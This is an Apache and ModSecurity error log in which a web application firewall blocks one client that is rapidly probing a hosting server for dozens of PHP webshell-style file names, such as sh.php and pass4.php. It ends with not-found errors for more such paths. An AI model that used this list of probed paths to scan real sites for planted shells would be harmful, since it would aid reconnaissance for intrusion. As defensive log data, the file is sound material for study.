[Sat Apr 18 20:15:59.431307 2026] [:error] [pid 34237:tid 34260] [client 52.236.80.95:5876] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckmtelzy.php"] [unique_id "aeN1_xBmX4Wq5a6rxfaooQAAAVU"]
[Sat Apr 18 20:16:00.109061 2026] [:error] [pid 9970:tid 9988] [client 52.236.80.95:5827] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckmtelzy.php"] [unique_id "aeN2ACYdRLRhVmaIMx2zSwAAAM4"]
[Sat Apr 18 20:16:00.921442 2026] [:error] [pid 9864:tid 9925] [client 52.236.80.95:5772] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckmtelzy.php"] [unique_id "aeN2AICFeowknfXHM7kalwAAAFM"]
[Sat Apr 18 20:16:01.856367 2026] [:error] [pid 9864:tid 9914] [client 52.236.80.95:5790] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckmtelzy.php"] [unique_id "aeN2AYCFeowknfXHM7kamgAAAEg"]
[Sat Apr 18 20:16:02.486989 2026] [:error] [pid 9863:tid 9877] [client 52.236.80.95:5863] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggddssvl.php"] [unique_id "aeN2AjjjiypiFrTucbLM0gAAAAQ"]
[Sat Apr 18 20:16:03.086394 2026] [:error] [pid 34237:tid 34260] [client 52.236.80.95:5845] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggddssvl.php"] [unique_id "aeN2AxBmX4Wq5a6rxfaorQAAAVU"]
[Sat Apr 18 20:16:03.670037 2026] [:error] [pid 34290:tid 34336] [client 52.236.80.95:5783] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggddssvl.php"] [unique_id "aeN2AxqX6WpmmAXOBi8apwAAAdE"]
[Sat Apr 18 20:16:04.303073 2026] [:error] [pid 9865:tid 9947] [client 52.236.80.95:5834] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggddssvl.php"] [unique_id "aeN2BKzb5knECIY-C-iBpwAAAIo"]
[Sat Apr 18 20:16:05.526548 2026] [:error] [pid 34237:tid 34263] [client 52.236.80.95:5840] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajckrrj.php"] [unique_id "aeN2BRBmX4Wq5a6rxfaosQAAAVg"]
[Sat Apr 18 20:16:06.349975 2026] [:error] [pid 34290:tid 34331] [client 52.236.80.95:5908] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajckrrj.php"] [unique_id "aeN2BhqX6WpmmAXOBi8arAAAAcw"]
[Sat Apr 18 20:16:06.941320 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:5884] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajckrrj.php"] [unique_id "aeN2BhBmX4Wq5a6rxfaouwAAAUw"]
[Sat Apr 18 20:16:07.858506 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:5843] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajckrrj.php"] [unique_id "aeN2BxBmX4Wq5a6rxfaovgAAAUQ"]
[Sat Apr 18 20:16:09.186819 2026] [:error] [pid 34290:tid 34335] [client 52.236.80.95:6069] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeN2CRqX6WpmmAXOBi8arQAAAdA"]
[Sat Apr 18 20:16:09.962205 2026] [:error] [pid 34237:tid 34247] [client 52.236.80.95:5783] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeN2CRBmX4Wq5a6rxfaoxAAAAUg"]
[Sat Apr 18 20:16:11.939486 2026] [:error] [pid 13023:tid 13049] [client 52.236.80.95:5869] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeN2C_1e7hG8DAeABB8FngAAARg"]
[Sat Apr 18 20:16:12.960751 2026] [:error] [pid 34290:tid 34319] [client 52.236.80.95:5883] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeN2DBqX6WpmmAXOBi8arwAAAcA"]
[Sat Apr 18 20:16:13.648435 2026] [:error] [pid 9970:tid 9975] [client 52.236.80.95:5788] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeN2DSYdRLRhVmaIMx2zWAAAAME"]
[Sat Apr 18 20:16:14.390063 2026] [:error] [pid 13023:tid 13026] [client 52.236.80.95:5760] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeN2Dv1e7hG8DAeABB8FpQAAAQE"]
[Sat Apr 18 20:16:15.156862 2026] [:error] [pid 13023:tid 13044] [client 52.236.80.95:5696] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeN2D_1e7hG8DAeABB8FqgAAARM"]
[Sat Apr 18 20:16:15.735862 2026] [:error] [pid 34290:tid 34329] [client 52.236.80.95:5767] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeN2DxqX6WpmmAXOBi8asQAAAco"]
[Sat Apr 18 20:16:16.431166 2026] [:error] [pid 34288:tid 34300] [client 52.236.80.95:5940] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "aeN2EOTIiy__PtiLmpnSxgAAAYg"]
[Sat Apr 18 20:16:16.980891 2026] [:error] [pid 34290:tid 34343] [client 52.236.80.95:5814] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "aeN2EBqX6WpmmAXOBi8asgAAAdg"]
[Sat Apr 18 20:16:17.524640 2026] [:error] [pid 13023:tid 13032] [client 52.236.80.95:5795] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "aeN2Ef1e7hG8DAeABB8FrgAAAQc"]
[Sat Apr 18 20:16:18.107587 2026] [:error] [pid 13023:tid 13026] [client 52.236.80.95:5949] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "aeN2Ev1e7hG8DAeABB8FsQAAAQE"]
[Sat Apr 18 20:16:18.667541 2026] [:error] [pid 9865:tid 9942] [client 52.236.80.95:5848] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aeN2Eqzb5knECIY-C-iBtAAAAIU"]
[Sat Apr 18 20:16:19.272871 2026] [:error] [pid 34237:tid 34262] [client 52.236.80.95:5775] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aeN2ExBmX4Wq5a6rxfaozQAAAVc"]
[Sat Apr 18 20:16:19.849536 2026] [:error] [pid 9863:tid 9875] [client 52.236.80.95:5792] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aeN2EzjjiypiFrTucbLM1wAAAAI"]
[Sat Apr 18 20:16:20.378341 2026] [:error] [pid 9863:tid 9889] [client 52.236.80.95:5882] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aeN2FDjjiypiFrTucbLM2AAAABA"]
[Sat Apr 18 20:16:21.050026 2026] [:error] [pid 34290:tid 34325] [client 52.236.80.95:5856] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/vx.php"] [unique_id "aeN2FRqX6WpmmAXOBi8atgAAAcY"]
[Sat Apr 18 20:16:21.754939 2026] [:error] [pid 34290:tid 34331] [client 52.236.80.95:6059] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/vx.php"] [unique_id "aeN2FRqX6WpmmAXOBi8auQAAAcw"]
[Sat Apr 18 20:16:22.316441 2026] [:error] [pid 34288:tid 34307] [client 52.236.80.95:5822] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/vx.php"] [unique_id "aeN2FuTIiy__PtiLmpnSyQAAAY8"]
[Sat Apr 18 20:16:23.069810 2026] [:error] [pid 34237:tid 34260] [client 52.236.80.95:5729] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/vx.php"] [unique_id "aeN2FxBmX4Wq5a6rxfao0wAAAVU"]
[Sat Apr 18 20:16:23.758784 2026] [:error] [pid 9970:tid 9980] [client 52.236.80.95:5799] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0xD.php"] [unique_id "aeN2FyYdRLRhVmaIMx2zYgAAAMY"]
[Sat Apr 18 20:16:24.358054 2026] [:error] [pid 34237:tid 34258] [client 52.236.80.95:5867] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0xD.php"] [unique_id "aeN2GBBmX4Wq5a6rxfao2wAAAVM"]
[Sat Apr 18 20:16:24.942414 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:5749] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0xD.php"] [unique_id "aeN2GBBmX4Wq5a6rxfao3gAAAUM"]
[Sat Apr 18 20:16:25.475191 2026] [:error] [pid 34237:tid 34241] [client 52.236.80.95:5868] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0xD.php"] [unique_id "aeN2GRBmX4Wq5a6rxfao4AAAAUI"]
[Sat Apr 18 20:16:26.153935 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:5823] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gh.php"] [unique_id "aeN2GhBmX4Wq5a6rxfao5wAAAUw"]
[Sat Apr 18 20:16:26.685097 2026] [:error] [pid 34290:tid 34334] [client 52.236.80.95:5842] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gh.php"] [unique_id "aeN2GhqX6WpmmAXOBi8avQAAAc8"]
[Sat Apr 18 20:16:27.288906 2026] [:error] [pid 9970:tid 9994] [client 52.236.80.95:5815] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gh.php"] [unique_id "aeN2GyYdRLRhVmaIMx2zZQAAANQ"]
[Sat Apr 18 20:16:28.042293 2026] [:error] [pid 9970:tid 9976] [client 52.236.80.95:5879] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gh.php"] [unique_id "aeN2HCYdRLRhVmaIMx2zZwAAAMI"]
[Sat Apr 18 20:16:28.741717 2026] [:error] [pid 34237:tid 34247] [client 52.236.80.95:5859] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeN2HBBmX4Wq5a6rxfao6wAAAUg"]
[Sat Apr 18 20:16:29.294893 2026] [:error] [pid 9970:tid 9991] [client 52.236.80.95:5716] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeN2HSYdRLRhVmaIMx2zbQAAANE"]
[Sat Apr 18 20:16:29.826297 2026] [:error] [pid 34237:tid 34258] [client 52.236.80.95:5711] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeN2HRBmX4Wq5a6rxfao7gAAAVM"]
[Sat Apr 18 20:16:30.952044 2026] [:error] [pid 34290:tid 34330] [client 52.236.80.95:5743] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeN2HhqX6WpmmAXOBi8avwAAAcs"]
[Sat Apr 18 20:16:31.690964 2026] [:error] [pid 34290:tid 34338] [client 52.236.80.95:5931] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aeN2HxqX6WpmmAXOBi8awgAAAdM"]
[Sat Apr 18 20:16:32.336522 2026] [:error] [pid 34288:tid 34298] [client 52.236.80.95:5797] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aeN2IOTIiy__PtiLmpnSzwAAAYY"]
[Sat Apr 18 20:16:33.029416 2026] [:error] [pid 34288:tid 34300] [client 52.236.80.95:5768] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aeN2IeTIiy__PtiLmpnS0AAAAYg"]
[Sat Apr 18 20:16:33.550525 2026] [:error] [pid 9970:tid 9980] [client 52.236.80.95:5784] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aeN2ISYdRLRhVmaIMx2zcwAAAMY"]
[Sat Apr 18 20:16:34.168693 2026] [:error] [pid 34288:tid 34303] [client 52.236.80.95:5875] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xigmltad.php"] [unique_id "aeN2IuTIiy__PtiLmpnS0gAAAYs"]
[Sat Apr 18 20:16:34.729712 2026] [:error] [pid 13023:tid 13033] [client 52.236.80.95:5639] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xigmltad.php"] [unique_id "aeN2Iv1e7hG8DAeABB8FuwAAAQg"]
[Sat Apr 18 20:16:35.295666 2026] [:error] [pid 34290:tid 34337] [client 52.236.80.95:5802] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xigmltad.php"] [unique_id "aeN2IxqX6WpmmAXOBi8azQAAAdI"]
[Sat Apr 18 20:16:35.897438 2026] [:error] [pid 34290:tid 34336] [client 52.236.80.95:5948] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xigmltad.php"] [unique_id "aeN2IxqX6WpmmAXOBi8a0QAAAdE"]
[Sat Apr 18 20:16:36.434458 2026] [:error] [pid 34290:tid 34320] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/lb.php
[Sat Apr 18 20:16:36.704764 2026] [:error] [pid 34290:tid 34330] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Sat Apr 18 20:16:37.009359 2026] [:error] [pid 34290:tid 34325] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/sad.php
[Sat Apr 18 20:16:37.292757 2026] [:error] [pid 34290:tid 34335] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/ws77.php
[Sat Apr 18 20:16:37.563927 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/gi.php
[Sat Apr 18 20:16:37.835117 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-the.php
[Sat Apr 18 20:16:38.104411 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/lp6.php
[Sat Apr 18 20:16:38.421226 2026] [:error] [pid 34290:tid 34319] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/pass4.php
[Sat Apr 18 20:16:38.691701 2026] [:error] [pid 34290:tid 34329] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Sat Apr 18 20:16:38.963311 2026] [:error] [pid 34290:tid 34343] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/sh.php
[Sat Apr 18 20:16:39.232885 2026] [:error] [pid 34290:tid 34332] [client 52.236.80.95:6030] File does not exist: /usr/local/apache/htdocs/suspended-page/uujuu.php
